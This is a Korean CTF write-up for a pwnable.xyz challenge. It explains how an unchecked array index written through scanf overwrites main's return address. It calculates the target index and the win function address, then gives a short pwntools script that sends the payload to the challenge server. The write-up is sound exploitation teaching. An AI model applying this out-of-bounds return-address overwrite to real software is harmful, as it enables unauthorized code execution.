How to Exploit
scanf 함수에서 3개의 인자(v4, v5, v6)에 입력을 받고 반환값이 3이 아니면 while문을 나가고 3이면, v7[v6] = v4+v5를 실행한다. v6의 범위가 없기 때문에 이 식에서 ret 값을 바꿔줄 수 있을 것 같다.
scanf 함수의 리턴값은 서식문자에 합당한 값이 정확히 몇 개 들어왔는지 출력한다. %ld인데 문자를 받으면 3이 되지 않을 것이다.
Design the Payload
- main 함수의 ret와 v7의 거리
main 함수 ret 주소 : 0x7fffffffdfc8
input에 256 16 0
을 넣었을 때 0x110이 0x7fffffffdf60
에 있었다. 512 16 1
을 넣었을 때 0x210이 0x7ffffffdf58
에 있으므로 인덱스가 1 증가할 때 주소는 8 증가한다.
목표 인덱스 : (0xc8-0x60)/8 = 13
- win 주소 : 0x400822
win 함수는 system('cat /flag')를 실행시키는 함수이다. 이 함수 못 찾아서 꽤 삽질했다..
Exploit Code
from pwn import *
#p=process('./challenge')
p=remote('svc.pwnable.xyz', 30002)
win_add = 0x400822 # 4196386
p.sendlineafter('put: ', '4196386 0 13')
p.sendlineafter('put: ', 'a')
p.interactive()
Capture the Flag
'Writeup [pwn] > pwnable.xyz' 카테고리의 다른 글
TLSv00 (0) | 2020.03.07 |
---|---|
Sub (0) | 2020.03.07 |
Note (0) | 2020.03.07 |
Misalignment (0) | 2020.03.07 |
GrownUp (0) | 2020.03.07 |